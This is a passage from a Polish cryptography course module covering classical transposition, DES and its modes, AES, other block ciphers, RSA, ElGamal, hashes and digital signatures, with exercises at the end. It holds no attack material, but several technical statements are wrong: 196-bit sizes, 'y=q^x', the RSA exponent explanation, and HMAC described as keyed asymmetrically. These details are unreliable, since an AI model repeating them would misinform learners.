Rysunek '2'. Przykład szyfrowania metodą przestawiania losowego
W rzeczywistych przypadkach, przestawienie nie jest losowe, lecz wynika z określonego wzoru zadanego np. figurą geometryczną. Najprostszą przydatną figurą transpozycji jest prostokąt. Dokładniej mamy do czynienia z macierzą prostokątną, w której pozycje wpisujemy wiadomość czytelną (lub też kolejne bloki całej wiadomości, których długości odpowiadają ilości elementów macierzy - czyli inaczej - jej rozmiarowi). Wiadomość wpisywana jest do macierzy, przyjmijmy, wierszami. Kryptogram tworzy się spisując zawartość tak wypełnionej macierzy, ale kolumnami (rysunek 3).
Rolę klucza szyfrowania pełnią wymiary figury transpozycji. W przykładzie z rysunku byłby to rozmiar macierzy: k = (5,4).
W celu utrudnienia złamania szyfru, operację transpozycji można powiązać w permutacją kolejności kolumn, przed spisaniem zawartości macierzy do krytpogramu. Innymi słowy, można przykładowo spisywać najpierw zawartość kolumny 2-giej, potem 5-tej, później 3-ciej, dopiero dalej 1-szej i na końcu 4-tej. Klucz szyfrowania przyjmuje tu postać: k = (5,4;2-5-3-1-4).
Dalsze wzmocnienie jakości szyfrowania można osiągnąć poprzez dodatkowe skomplikowanie operacji szyfrowania. Można stosować macierze o wierszach zmiennej długości bądź przestawienie przekątnokolumnowe, albo też szyfry siatkowe czy zastosować całkiem inną figurę transpozycji.

Rysunek '3'. Przykład szyfrowania metodą przestawiania losowego

Zasada Kerckhoffsa

Najprostsze z przedstawionych metod szyfrowania opierają swoją siłę na tajności procedury szyfrowania. Każdy, kto pozna tę procedurę, bez większego trudu i w relatywnie krótkim czasie jest w stanie odtworzyć wiadomość czytelną z dowolnego kryptogramu.
Szyfry najczęściej spotykane współcześnie w systemach informatycznych opierają swą siłę nie na tajności samego algorytmu lecz jedynie na tajności zmiennego parametru tego algorytmu, jakim jest klucz. Jest to zgodne z powszechnie uznaną regułą, nazywaną zasadą Kerckhoffsa:

Algorytm szyfrowania i deszyfrowania jest jawny

Rysunek '4'. Zasada Kerckhoffsa
Zgodnie z tą zasadą, algorytm może być, a nawet z wielu względów powinien być publicznie znany. Przemawia za tym ułatwienie publicznej oceny i dyskusji jakości, jakie potencjalnie oferuje powszechna dostępność każdego nowo-opracowanego algorytmu dla światowej rzeszy kryptoanalityków. Dzięki temu, łatwiej i wcześniej można wykryć ewentualne luki w koncepcji algorytmu bądź w samej jego konstrukcji.

Szyfrowanie z kluczem

Rysunek 5 przedstawia ogólny schemat szyfrowania z użyciem klucza, jaki stosować będziemy w niniejszym module. Użytkownicy uczestniczący w komunikacji, na tym schemacie - Alicja i Bolek, posługują się swoimi kluczami, odpowiednio - K_A oraz K_B, aby przesłać zaszyfrowaną wiadomość od Alicji do Bolka. Alicja poddaje szyfrowaniu wiadomość czytelną M z użyciem klucza szyfrowania K_A operacją \(E_K_A[M]\) uzyskując szyfrogram S
Następnie szyfrogram S jest przesyłany do Bolka, który poddaje go operacji \(D_K_B[S]\) rozszyfrowania z kluczem K_B.

Rysunek '5'. Schemat ogólny szyfrowania z kluczem
Formalny zapis tych operacji przedstawia rysunek 6. Wynika z niego własność szyfrowania z kluczem: \(D_K_B[E_K_A[M]] = M\).

Rysunek '6'. Formalny zapis operacji szyfrowania z kluczem
W przypadku szyfrowania z kluczem spotykane są dwa schematy: szyfrowanie symetryczne i asymetryczne.

Szyfrowanie symetryczne

Szyfrowanie symetryczne jest schematem, który posiada następujące cechy

• występuje wspólny dla obu uczestników komunikacji tajny klucz K_A-B (dalej oznaczany po prostu K)
• stąd zapis formalny operacji szyfrowania symetrycznego ma postać:
  \(E_K[M] = S \rightarrow S \rightarrow D_K[S] = M\)

Rysunek '7'. Ogólny schemat szyfrowania symetrycznego
Własność szyfrowania symetrycznego ma zatem postać: \(D_K[E_K[M]] = M\).
Szyfrowanie symetryczne jest o tyle ciekawe, że wymaga posłużenia się tylko jednym kluczem, dla obu uczestników komunikacji i w obu jej kierunkach (choć można wyobrazić sobie wariant tego schematu z oddzielnym kluczem na każdy kierunek). Uczestników takiej komunikacji może oczywiście być więcej niż dwoje i wówczas cała grupa może posługiwać się wspólnym kluczem. Jednak my będziemy tu zakładali zachowanie poufności komunikacji w pojedynczym kanale komunikacyjnym łączącym tylko dwoje uczestników. W związku z tym, pojedynczy klucz przypisany jest wyłącznie do jednej pary użytkowników i musi on być utajniony wobec innych osób.
Konieczność utrzymania tajności klucza w obrębie jednej pary użytkowników rodzi szereg praktycznych problemów:

tożsamość problemu poufności wiadomości z problemem tajności klucza

• wiadomość jest bezpieczna dopóki osoba trzecia nie pozna tajnego klucza K

problem dystrybucji klucza

• jak uzgodnić wspólny klucz bez osób trzecich, będąc oddalonym o setki, a nawet tysiące kilometrów?

problem skalowalności

• dla 2 komunikujących się w systemie osób wymagane jest przechowywanie przez każdą z nich 1 klucza; dla 3 osób - 3 kluczy (przez każdą osobę); 4 os. = 6 kluczy; 10 os. = 45 kluczy; 100 os. = 4950 kluczy; ...

autentyczność

• tajność klucza nie zapewnia autentyczności - nie można wykazać formalnie która z dwóch stron jest rzeczywistym nadawcą wiadomości, skoro obie posługują się tym samym kluczem.

Przykłady algorytmów symetrycznych

Algorytm DES (Data Encryption Standard)

Algorytm DES (Data Encryption Standard) został opracowany w latach '70. przez firmę IBM na zamówienie NSA (National Security Agency) - rządowej agencji USA, będącej odpowiednikiem Agencji Bezpieczeństwa Wewnętrznego. Zespołem odpowiedzialnym za opracowanie DES w IBM kierował Horst Feistel. Zmodyfikowany przez NSA, algorytm DES został przyjęty jako standard krajowy w 1976 przez NBS (National Bureau of Standards, obecnie NIST = National Institute of Standards and Technology) i objęty ochroną patentową oraz ograniczeniami ekportowymi. Należy od razu podkreślić, iż ochrona patentowa tego algorytmu już wygasła. W 1977 DES został opublikowany przez nieporozumienie między NSA a NBS (NSA spodziewało się, że standardem stanie się sam układ sprzętowy, lecz NBS opublikowało na tyle dużo szczegółów, iż możliwe stały się implementacje programowe tego algorytmu).
Algorytm DES pracuje na 64-bitowych blokach tekstu jawnego, co odpowiada 8 znakom 8-bitowego kodu ASCII. Klucz składa się z 64 bitów, przy czym 8 z nich jest bitami parzystości. Zatem w istocie, w trakcie wyboru klucza można określić jedynie 56 bitów.
Aktualnie standard DES nie jest już uważany za dostatecznie silny mechanizm kryptograficzny dla większości zastosowań, jednak wciąż jest bardzo często demonstrowany jako bardzo reprezentatywny przykład algorytmu symetrycznego szyfrowania. Dalej przedstawiony zostanie uproszczony szkic działania algorytmu DES, którego celem jest umożliwienie nabrania pewnej intuicji co do sposobu konstrukcji i pracy współczesnych algorytmów kryptograficznych.
Algorytm działa w kilku wyraźnie zaznaczających się etapach nazywanych tu fazami. Fazy działania, znane dość powszechnie jako sieć Feistela, są następujące

• wstępna permutacja wejściowego bloku danych (na podstawie tabeli transpozycji)
• podział bloku na lewą i prawą połowę o długości 32 bitów każda
• 16 jednakowych rund - cykli operacji podstawiania i przestawiania wykorzystujących pewną funkcję f, w czasie których dane zostają połączone z kluczem
• połączenie lewej i prawej połowy bloku
• permutacja końcowa (odwrotność permutacji wstępnej)

Schematycznie sieć Feistela przedstawia rysunek 8.

'Rysunek '8'. Sieć 'Feistela
Najbardziej skomplikowaną fazą jest każdy z 16 rund wykorzystujących funkcję f. Rundy te są w istocie iteracjami tych samych operacji. Każda kolejna runda, dokonuje tych samych obliczeń, ale na wynikach obliczeń z poprzedniej rundy i specjalnym podkluczu K_i generowanym z 56b klucza K₀ (64-bitowego klucza powstałego po usunięciu 8 bitów parzystości z wejściowego klucza szyfrowania).
Początek każdej iteracji składa się z następujących kroków:

• 56 bitów klucza dzielone jest na dwie połowy po 28 bitów
• w każdej iteracji bity obu połówek są cyklicznie przesuwane w lewo o jeden lub dwa bity, w zależności od numeru iteracji
• ostatecznie wykonywana jest permutacja kompresująca, dzięki której z 56b klucza, otrzymujemy 48b podklucz K_i używany w funkcji f(L_i, K_i)
• a połówki klucza podawane jest do następnej iteracji i+1

Kulminacyjnym etapem wykonania kolejnej rundy jest funkcja f. Jej działanie jest następujące:

• prawa połowa R_i-1 rozszerzana jest z 32 bitów do 48 bitów za pomocą permutacji rozszerzonej (e-blok) i sumowana mod 2 z 48 bitami podklucza K_i danego cyklu
• otrzymany wynik poddawany jest operacji podstawienia poprzez wykorzystanie bloków podstawień (S-bloki):
  • ciąg 48 bitów dzielony jest na 8 bloków po 6 bitów
  • każdy ciąg 6 bitów jest redukowany do 4 bitów funkcją podstawienia
  • z 48 bitów otrzymujemy 32b ciąg, który poddawany jest permutacji zwykłej
  • następnie sumowany mod 2 z lewą połową L_i-1 bloku wejściowego

No koniec iteracji następuje zamiana lewej i prawej połowy bloku miejscami.
Bloki podstawień (S-bloki; z ang. Substitution blocks) są zdefiniowane w standardzie DES i można je znaleźć w literaturze przedmiotowej. Każdy z 8 S-bloków jest inny, jednak w ogólności S-blok należy postrzegać jako tabelę 4 wiersze na 16 kolumn. Element tabeli jest 4b liczbą (podstawiana wartość). Wybór wiersza i kolumny za pomocą 6b wejścia wygląda następująco:

• pierwszy i ostatni bit 6b ciągu tworzy 2b liczbę
• liczba ta wybiera wiersz
• pozostałe środkowe 4 bity wybierają kolumnę

Wskazany element tabeli (4 bity) jest podawany na wyjście jako wynik podstawienia.

Deszyfrowanie w algorytmie DES

Operacje deszyfrowania kryptogramu uzyskanego algorytmem DES są realizowane za pomocą tej samej sieci co operacje szyfrowania bloku tekstu jawnego. Różnica polega jedynie na tym, iż klucze stosowane są w kolejności odwrotnej od K₁₆ do K₁.

Kryptoanaliza algorytmu DES

Istotą trudności kryptoanalizy algorytmu DES metodą przeszukiwania wyczerpującego jest złożoność obliczeniowa procesu dopasowania kolejnych możliwych wartości klucza. W latach 80-tych ubiegłego wieku wymagała ona czasu liczonego w setki/tysiące lat. W efekcie uczyniła ten standard odpornym na atak metodą przeszukiwania wyczerpującego.

Tryby pracy algorytmu DES

Standard przewiduje wykorzystanie algorytmu DES w różnych trybach pracy nazywanych ECB, CBC, CFB i OFB. Dwa pierwsze to tryby blokowe, w których algorytm DES jest wykonywany wprost dokładnie tak jak na przedstawionym wcześniej szkicu, operując na kolejnych 8-znakowych blokach szyfrowanej wiadomości czytelnej.
Tryb ECB (Electronic CodeBook) jest to podstawowy tryb szyfrowania blokowego. Jego własności można przedstawić następująco:

• cały tekst jawny jest dzielony na bloki 64b (ostatni blok, jeśli nie jest 8 znakowy, zostaje uzupełniony do 8 znaków nieistotnym wypełnieniem - ang. padding)
• każdy 64b blok jest szyfrowany niezależnie
• dla danego bloku i danego klucza wynik szyfrowania będzie zawsze ten sam
• jeśli blok wystąpi w wiadomości częściej niż raz - za każdym razem otrzyma taki sam blok szyfrogramu ECB
• przy pewnym standardowym formacie wiadomości (np. rozpoczynających się od tych samych stałych pól) stanowi ten tryb istotne ułatwienie dla kryptoanalityka.

Tryb CBC (Cipher Block Chaining) jest wolny od tej ostatniej wady. Umożliwia on uzależnienie postaci bloku kryptogramu nie tylko od treści szyfrowanego bloku wiadomości jawnej, lecz również od pewnego dodatkowego parametru - wektora inicjującego. Jego własności można przedstawić następująco:

• na pierwszym 64b bloku jest wykonywana operacja XOR z pewnym wektorem początkowym (IV = Initialization Vector) znanym nadawcy i odbiorcy
  \(S_1 = E_K [M_1 \oplus \; IV ]\)
• wynikowy ciąg jest podawany na wejście algorytmu DES
• na każdym kolejnym 64b bloku jest wykonywany XOR z zaszyfrowanym poprzednim blokiem przed podaniem na wejście algorytmu DES
  \(S_i = E_K [M_i \oplus S_{i-1}]\)
• powtórzone takie same bloki 64b dadzą bloki zaszyfrowane różnej postaci
• deszyfrowanie:
  \(M_i = D_K [S_i] \oplus S_{i-1}\)

Tryby blokowe nadają się doskonale do szyfrowania gotowych wiadomości, jednak nie są odpowiednia dla szyfrowania strumienia danych asynchronicznych, np. wprowadzanych z klawiatury lub pojawiających się w protokołach komunikacyjnych, w których nie można z góry określić tempa pojawiania się danych do przesłania (i zaszyfrowania) oraz ich ilości, w efekcie dających teksty zmiennej długości. W tym celu wprowadzono tryby szyfrowania strumieniowego szyfrujące każdorazowo po jednym znaku 8-bitowym: CFB (Cipher FeedBack) oraz OFB (Output FeedBack) - tzw. tryby sprzężenia zwrotnego. Opisują je następujące własności:

• w CFB na wejście funkcji szyfrującej podawana jest zawartość 64b rejestru przesuwnego - początkowo zawiera on IV, który jest szyfrowany: \(R_1 = E_K[ IV ]\)
• na ośmiu najstarszych bitach rejestru jest wykonywany XOR ze znakiem szyfrowanym \(M_i: S_i = R_i \oplus M_i\)
• zawartość rejestru jest przesuwana w lewo 8b, a jako 8 najmłodszych jest wpisywany szyfrogram \(S_i\) wprowadzonego znaku (\(R_{i+1}\))
• wadą tego podejścia jest fakt iż uszkodzenie 1 bitu (np. w transmisji) propaguje się na 9 kolejnych znaków szyfrogramu
• w OFB w miejsce 8 najmłodszych bitów wpisywany jest tylko szyfrogram 8 najstarszych (bez XOR z porcją tekstu szyfrowanego)
• w trybie OFB błędy się nie propagują - uszkodzenie 1 bitu wpłynie tylko na rozszyfrowanie 1 znaku (zawierającego ten bit) - kryptoanalityk kontrolujący szyfrowany strumień może kontrolować zmiany w tekście jawnym

Powyższa dyskusja oraz znajomość praktycznych implementacji standardu DES skłania do następujących wniosków:

• ECB jest trywialny - nie powinien być stosowany do szyfrowania sesji danych; może być wykorzystany do przesłania kluczy oraz IV
• w trybie CBC mogą z kolei występować problemy implementacyjne związane z IV
  • celem IV jest upodobnienie bloków szyfrogramu do postaci losowych danych
  • typowe IV wartości nijak nie przypominają losowych (często zawierają powtarzające się najstarsze bity lub mają inną łatwą do przewidzenia strukturę)
  • nawet jeśli IV byłby prawdziwie losowy, to trzeba go przekazać odbiorcy (skoro jest losowy)
  • np. wysyłając w pierwszym bloku szyfrogramu (wydłuża to szyfrogram stanowiąc problem z małymi porcjami szyfrowanych danych)

Algorytm CDMF (Commercial Data Masking Facility)

Stany Zjednoczone, ojczyzna standardu DES, jak zresztą również inne kraje, traktują technologie kryptograficzne na równi z militarnymi i stosują ograniczenia w ich wykorzystaniu. Jednym z nich jest embargo eksportowe na wszelkie algorytmy i systemy kryptograficzne opracowane w USA. Również standard DES był objęty tymi ograniczeniami, a dokładniej jego ustandaryzowana postać posługująca się kluczem 56-bitowym. Natomiast algorytm CDMF, opracowany również przez IBM, został przygotowany specjalnie z myślą o wykorzystaniu również poza Stanami Zjednoczonymi i jest wolny od ograniczeń eksportowych. W istocie jest to wersja uproszczona DES operująca kluczem 40b, a dokładniej jest to algorytm DES uzupełniony o wstępną metodę skracania klucza 56b do 40b.

Odporność algorytmu DES

Algorytm DES był przez wiele lat bezpieczny. Ze względu na złożoność obliczeniową kryptoanalizy, przy dostępnej mocy obliczeniowej, proces odnajdywania klucza metodą przeszukiwania wyczerpującego był wystarczająco nieefektywny, by uczynić ataki nieopłacalnymi. Jednak w 1998 r. algorytm DES z kluczem 56b został złamany w 56 godzin kryptoanalizy metodą przeszukiwania wyczerpującego. Koszt sprzętu (EFF DES Cracker) wówczas szacowano na 250 tys. USD. Rok później zajęło to już 22 godziny. Dziś to kwestia minut.

Algorytm 3DES (Triple DES)

Istnieją jednak propozycje wzmocnienia siły algorytmu DES, np. poprzez praktyczne zwiększanie długości klucza. I tak algorytm 3DES stosuje jednocześnie trzy kolejne iteracje szyfrowania i deszyfrowania tekstu jawnego oryginalnym algorytmem DES. Każda iteracja może używać innego klucza 56b, co w efekcie daje klucz 168b. W praktyce najczęściej spotykany jest tryb DES-EDE (encrypt-decrypt-encrypt) z dwoma kluczami (razem 112b), wg rysunku 9:

Rysunek '9'. Schemat działania algorytmu 3DES

Algorytm IDEA (International Data Encryption Algorithm)

Algorytm IDEA został opracowany w 1991r. przez Swiss Federal Institute of Technology
(w zespole, którym kierowali James L. Massey i Xuejia Lai). W ogólnej koncepcji jest dość podobny do algorytmu DES, występują jedynie różnice w szczegółach. Przykładowo algorytm IDEA charakteryzują:

• 64b bloki danych (jak DES)
• klucz 128b
• 64b blok dzielony na 16b podbloki
• a 128b klucz na 16b podklucze
• 8 iteracji (w DES jest 16, ale w IDEA 1 iteracja odpowiada 2 w DES)

Fazy działania algorytmu IDEA przedstawiają się następująco:

• w każdym kroku cztery 16b podbloki danych poddawane są operacji dodawania modulo 2, dodawania modulo 2¹⁶ i mnożenia modulo 2¹⁶ z innymi blokami i z sześcioma 16b podkluczami.
• pomiędzy każdym krokiem następuje zamiana drugiego i trzeciego podbloku.

Algorytm IDEA stosuje podklucze o następującej charakterystyce:

• 128-bitowy klucz jest dzielony na osiem 16-bitowych podkluczy
• pierwszych 6 podkluczy jest używanych w pierwszej iteracji,
  2 pozostałe podklucze - w kolejnej
• następnie cały 128b klucz rotuje o 25 pozycji w lewo
• tak otrzymany klucz jest ponownie dzielony na osiem 16b podkluczy, z których pierwsze 4 uzupełniają podklucze w drugiej iteracji, a kolejne 4 są przydzielane do trzeciej iteracji
• w kluczu jest powtarzana rotacja o 25 pozycji w lewo - klucz jest ponownie dzielony na 8 podkluczy używanych w kolejnych krokach.

Opisane wyżej czynności powtarzane są do momentu przydzielenia kluczy do wszystkich kroków, przy czym w fazie zakończenia zamiast sześciu podkluczy, stosuje się tylko cztery podklucze. Łącznie w algorytmie wykorzystuje się 52 podklucze, które generowane są z wejściowego klucza szyfrującego.

Rysunek '10'. Siatka operacji w pojedynczej iteracji algorytmu IDEA
Deszyfracja przebiega następująco:

• podklucze używane do deszyfrowania odpowiadają podkluczom szyfrowania podanym w odwrotnej kolejności,
• operacje arytmetyczne przy użyciu czterech podkluczy są wykonywane nie na początku, ale na końcu deszyfrowania.

Algorytm Rijndeal

Algorytm Rijndeal został opracowany w 1999 przez Belgów: Joana Daemena i Vincenta Rijmena. Bloki wejściowe mają po 128, 196 lub 256 bitów. Klucze również mają długość 128b, 196b lub 256b. W zależności od wielkości bloku stosowana jest różna liczba iteracji: 10 (128b), 12 (196b) lub 14 (256b). Każda iteracja to następująca sekwencja wykonywana na poszczególnych bajtach danych i klucza:

1. podstawienie (S-bloki)
2. przesuwanie (rzędów i kolumn bloku-macierzy)
3. XOR.

'Rysunek '11'. Uproszczony schemat pojedynczej iteracji algorytmu 'Rijndeal

Standard AES (Advanced Encryption Standard)

Standard AES jest następcą standardu DES obowiązującym w USA od 2001 r. Wykorzystuje algorytm Rijndeal. Algorytm ten wygrał oficjalną rywalizację z innymi zgłoszonymi do konkursu algorytmami, m.in. Serpent, Twofish, RC6, MARS. Stosuje tryb blokowy (blok 128b) i strumieniowy, klucze 128b, 192b, 256b (choć teoretycznie dopuszczalne również inne kombinacje). W standardzie wprowadzono też ciekawy nowy strumieniowy tryb licznikowy (CTR - Counter Mode), w którym dedykowany rejestr jest inkrementowany wraz z kolejnymi operacjami szyfrowania porcji danych. Tryb ten oferuje możliwość zrównoleglenia operacji na różnych porcjach danych.

Inne algorytmy symetryczne

Algorytmy RC2 / RC4 / RC5 / RC6

RC2, RC4, RC5 i RC6 to prawnie zastrzeżone algorytmy opracowane przez Ronalda Rivesta (pracownika MIT i jednocześnie założyciela firmy RSA Data Security), chociaż od 1994 kod źródłowy niektórych z nich jest szeroko dostępny w Internecie. Są to bardzo wydajne algorytmy symetryczne (ok. 10 razy szybsze od DES) o zmiennej długości klucza (do 2048b). RC2, RC5, RC6 to szyfry blokowe, natomiast RC4 jest szyfrem strumieniowym. Co ciekawe, niemal od samego początku swego istnienia posiadały specjalny status eksportowy USA dla kluczy 40b lub 56b (dla instytucji powiązanych z interesami USA). Dziś są powszechnie wykorzystywane w Lotus Notes, Apple OCE (Open Collaboration Enviromnent), Oracle, protokołach SSL i S-HTTP, sieciach bezprzewodowych i komórkowych.

Algorytmy z rodziny CAST

Określenie CAST opisuje schemat zastosowany w rodzinie zbliżonych do DES algorytmów kryptograficznych o zmiennej długości kluczy i bloków. Najpowszechniej znany reprezentant to szyfr CAST-128 opublikowany w 1997 [RFC 2144].

Algorytm SAFER

To algorytm blokowy opracowany przez kolejną ważną postać kryptografii komputerowej - Jamesa L. Masseya. Popularne są: wersja z kluczem 64b (SAFER-K64) obejmująca 6 rund oraz wersja z kluczem 128b (SAFER-K128) - do 12 rund (rekomendowane 10).

Algorytm Blowfish

Algorytm Blowfish, bardzo popularny zwłaszcza w produktach open source, został opracowany w 1994 r. przez Bruce'a Schneiera. Blok danych ma 64 bity, a klucz podstawowy długość do 448b. W algorytmie występuje 16 iteracji wykorzystujących 18 kluczy pomocniczych (wyznaczanych każdorazowo przed szyfrowaniem i deszyfrowaniem) i 4 S-bloki 256-elementowe o wartościach zależnych od: klucza podstawowego, danych oraz liczby \(\pi\). Deszyfrowanie jest operacją identyczną z szyfrowaniem - jedynie odwrotna zostaje kolejność kluczy pomocniczych.

Szyfrowanie asymetryczne

Istotą szyfrowania asymetrycznego jest wyodrębnienie dwóch kluczy o odmiennych rolach: klucz prywatny i klucz publiczny. I tak przyjmiemy dalej iż odbiorca Bolek posiada parę kluczy: prywatny klucz k_b oraz publiczny klucz K_B. Z założenia klucz prywatny jest tajny znany wyłącznie właścicielowi. Publiczny klucz, natomiast, może być powszechnie znany. Aby przekazać zaszyfrowaną postać wiadomości do tego odbiorcy należy zaszyfrować wiadomość czytelną jego kluczem publicznym. Odszyfrowanie jest możliwe tylko przy użyciu klucza prywatnego, odpowiadającego użytemu uprzednio kluczowi publicznemu.
Operacje szyfrowania opisuje zatem ogólny wzór:
\(E_K_B [M] = S\)
a deszyfrację:
\(D_k_b [S] = M\)

Rysunek '12'. Ogólny schemat szyfrowania asymetrycznego
Istotne jest iż znajomość klucza publicznego K_B nie wystarcza do naruszenia poufności szyfrogramu uzyskanego przy zastosowaniu tego klucza.
Szyfrowanie asymetryczne idealnie nadaje się do zastosowania w następujących celach:

• zapewnienie poufności (rys. 13)

Rysunek '13'. Ogólny schemat zapewnienia poufności w szyfrowaniu asymetrycznym

• zapewnienie autentyczności (rys. 14)

Rysunek '14'. Ogólny schemat zapewnienia autentyczności w szyfrowaniu asymetrycznym

Przykłady algorytmów asymetrycznych

Algorytm RSA (Rivest–Shamir–Adleman)

Algorytm RSA został opublikowany w 1978 roku przez Ronalda Rivesta, Adi Shamira i Leonarda Adlemana. Niedawno wygasła jego ochrona patentowa. Algorytm ten pozwala w zasadzie dowolnie ustalić długość klucza. Wymaga użycia 2 dużych liczb pierwszych (przez duże rozumiemy tu liczby co najmniej stucyfrowe w systemie dziesiętnym). Do szyfrowania i deszyfrowania wykorzystuje operacje potęgowania dyskretnego. W efekcie wymaga dużej liczby działań arytmetycznych (jest zdecydowanie wolniejszy od DES - nawet do 1000 razy).
Dobór kluczy jest najbardziej istotnym elementem pracy algorytmu. Schematycznie przedstawia ją rysunek 15.

Rysunek '15'. Ogólny schemat pracy algorytmu RSA
Schemat ten wymaga następujących wyjaśnień:

• liczba względnie pierwsza z (p-1) i (q-1) to inaczej Wykładnik Uniwersalny: dzieli się tylko przez 1, siebie oraz (p-1) i (q-1), czyli Najmniejsza Wspólna Wielokrotność, albo inaczej: Największy Wspólny Dzielnik (e, (p-1)(q-1)) = 1
• odwrotność e można łatwo wyznaczyć rozszerzonym algorytmem Euklidesa.

Złamanie tak ustalonego klucza wymagałoby znalezienia efektywnej metody faktoryzacji dużych liczb - póki co takowa nie istnieje.

Algorytm ElGamala (ELG)

Algorytm ten został opublikowany w 1985 roku, ale nie jest chroniony patentem. Brak również w jego przypadku ograniczeń eksportowych USA - wykorzystuje koncepcję (i patent) Diffiego-Helmana lecz ów patent wygasł w 1997 r. Szyfrowanie wymaga każdorazowo losowo wybranej wartość k, dlatego też ten sam tekst jawny każdorazowo daje inny szyfrogram. Niestety wadą tego algorytmu jest fakt, iż szyfrogram jest dwukrotnie dłuższy od tekstu jawnego.
Generowanie kluczy przebiega następująco:

• wybieramy losowo liczbę pierwszą p
• wykorzystujemy multiplikatywną grupę modulo p - \(\mathbb{Z}_p^*\)
• gdzie p jest liczbą pierwszą, a \(\mathbb{Z}_p\) jego ciałem skończonym (\(GF(p) lub \mathbb{Z} /p \mathbb{Z}\))
• wybieramy liczbę g, która jest elementem pierwotnym (generatorem) grupy \(\mathbb{Z}_p^*\)
• generator - generuje ciąg \(1, g, g^2, g^3, ...\)
• z którego tylko skończenie wiele należy do \(\mathbb{Z}_p^*\) (potem zaczną się powtarzać modulo p)
• w ogólności mamy q elementów: \(1, g, g^2, ... , g^{q-1} (g^q \bmod p = 1)\)
• istnieje przynajmniej jedno g generujące całą grupę! (tzn. \(q = p-1\))
• czyli zamiast 1, ..., p-1 możemy grupę traktować jako \(1, g, g^2, ... , g^{p-2}\)

W dalszej kolejności:

• wybieramy losowo liczbę \(x<p\)
• obliczamy \(y=q^x \bmod p\)
• klucz publiczny stanowią y, g i p - zarówno g, jak i p mogą być wspólnie wykorzystywane przez grupę użytkowników (mod p)
• kluczem prywatnym jest x

Szyfrowanie przebiega następująco:

• wybieramy losowo liczbę k względnie pierwszą z p
• obliczamy \(a=g^k \bmod p\)
• obliczamy \(b=y^k \cdot M \bmod p\)
• szyfrogram to para (a,b)

Deszyfrowanie przebiega następująco:

• \(M=b/a^x \bmod p\)
• ponieważ \(a^x \equiv g^{kx} \bmod p\)
• \(b/a^x \equiv y^k \cdot M/a^x \equiv g^{xk} \cdot M/g^{kx} \equiv M \bmod p\)

Literatura

[1] Janusz Stokłosa, Tomasz Bilski, Tadeusz Pankowski, "Bezpieczeństwo danych w systemach informatycznych", PWN, 2001

Zadania

1. Na czym polega kodowanie ROT-13 powszechnie wykorzystywane w Internecie?
2. Na czym polega i do czego służy kodowanie MIME?
3. Jaki będzie szyfrogram dla przykładu z rysunku 3, w przypadku użycia klucza k = (5,4;2-5-3-1-4)?
4. Wektor inicjujący IV powinien być każdorazowo unikalny, ale nie musi być tajny. Dlaczego?
5. Dlaczego wersja 40b algorytmu DES była od początku wolna od ograniczeń eksportowych?

Wykorzystanie kryptografii

Wykorzystanie kryptografii

Bieżący moduł przedstawia koncepcje związane z wykorzystaniem mechanizmów kryptograficznych w systemach informatycznych.

Potwierdzanie autentyczności danych

Szyfrowanie asymetryczne, jak już wiemy z poprzedniego modułu, można wykorzystać do osiągnięcia własności autentyczności danych. Zastosować można potencjalnie 2 metody przedstawione poniżej.

Metoda 1:

• szyfrujemy całą wiadomość kluczem prywatnym nadawcy
• kosztowne obliczeniowo - koszt rośnie z wielkością wiadomości

Metoda 2:

• tworzymy skrót wiadomości o ustalonym z góry rozmiarze n
• szyfrujemy kluczem prywatnym nadawcy tylko skrót
• koszt mały - n małe
• koszt stały - nie rośnie z wielkością wiadomości i zależy tylko od n

Druga metoda wykorzystuje pojęcie skrótu, który jest wynikiem zastosowania pewnej funkcji matematycznej na treści wiadomości. Funkcja skrótu to jednokierunkowa funkcja \(h[M]\), a więc taka, która daje jednoznaczny wynik \(d=h[M]\) (skrót, ang. message digest, fingerprint) o stałym rozmiarze, przy wieloznacznym argumencie (M). Jej zadaniem w naszym przypadku jest dostarczyć odbiorcy narzędzia do zweryfikowania czy treść wiadomości nie została zmodyfikowana, przez osoby niepowołane.
W istocie, w dziedzinie transmisji danych skróty wiadomości, lub ich odpowiedniki, powszechnie wykorzystywane są w celu potwierdzania integralności wiadomości od lat 70-tych ubiegłego wieku, choć zwykle ukrywają się pod różnymi nazwami:

• suma kontrolna (checksum) - negatywne potwierdzenia, retransmisje
• funkcja kontrolna (data integrity check)
• funkcja kontrolna wiadomości (message integrity check)
• funkcja ściągająca (contraction function)
• kod uwierzytelniający informacji (data authentication code)

Własności jakie musi posiadać odpowiednia dla nas funkcja skrótu to:

• kompresja: oznaczająca, że rozmiar skrótu musi być mniejszy od rozmiaru samej wiadomości \(|d|<|M|\)
• łatwość obliczeń: czas wielomianowy wyznaczenia \(h[M]\) dla dowolnego \(M\)
• odporność na podmianę argumentu: dla danego \(h[M]\) obliczeniowo trudne znalezienie \(M^\prime\) takiego, że \(h[M] = h[M^\prime]\)
• odporności na kolizje: obliczeniowo trudne znalezienie dwóch dowolnych argumentów \(M \neq M^\prime\) takiego, że \(h[M] = h[M^\prime]\)

Zastosowania funkcji skrótu mogą obejmować:

• zapewnienie integralności wiadomości bez klucza kryptograficznego
• zapewnienie integralności oraz autentyczności wiadomości: MAC - message authentication code (z kluczem kryptograficznym)

Rysunek '1'. Zastosowanie funkcji skrótu

Podpis cyfrowy

Funkcje skrótu można wykorzystać do zrealizowania ciekawego i niezwykle ważnego narzędzia, jakim jest podpis cyfrowy. Najczęściej wykorzystywana jest w tym celu jest funkcja mieszająca HMAC z kluczem k asymetrycznym (keying hash function) - \(h_k[M]\). Wartość skrótu HMAC jest zaszyfrowana kluczem prywatnym nadawcy, być może dodatkowo z wykorzystaniem ziarna (salt) lub zawołania (challenge).
Proces generowania i weryfikowania podpisu HMAC z kluczem przedstawia rysunek 2. Nadawca (Alicja) po przygotowaniu wiadomości M przygotowuje jej skrót H, który poddaje szyfrowaniu swoim kluczem prywatnym, który z założenia zna i posiada tylko nadawca. Po połączeniu M z zaszyfrowanym skrótem H' całość przekazuje do odbiorcy dowolnym kanałem komunikacyjnym. Tan następuje deszyfracja H' (przy użyciu otwarcie dostępnego klucza publicznego nadawcy) oraz niezależne wyliczenie skrótu H dla otrzymanego M. Porównanie H wyliczonego z odszyfrowanym wskazuje na autentyczność i nienaruszalność wiadomości M lub jej brak. Gdyby M została zmodyfikowana w trakcie transmisji do odbiorcy, wyliczony skrót nie pasowałby do odszyfrowanego z H'. Natomiast, gdyby nadawcą nie była Alicja, posłużenie się jej kluczem publicznym przy odszyfrowaniu H' nie dałoby skrótu identycznego z wyliczony przez odbiorcę H.

Rysunek '2'. Zastosowanie funkcji skrótu

Osiąganie poufności, autentyczności i nienaruszalności danych

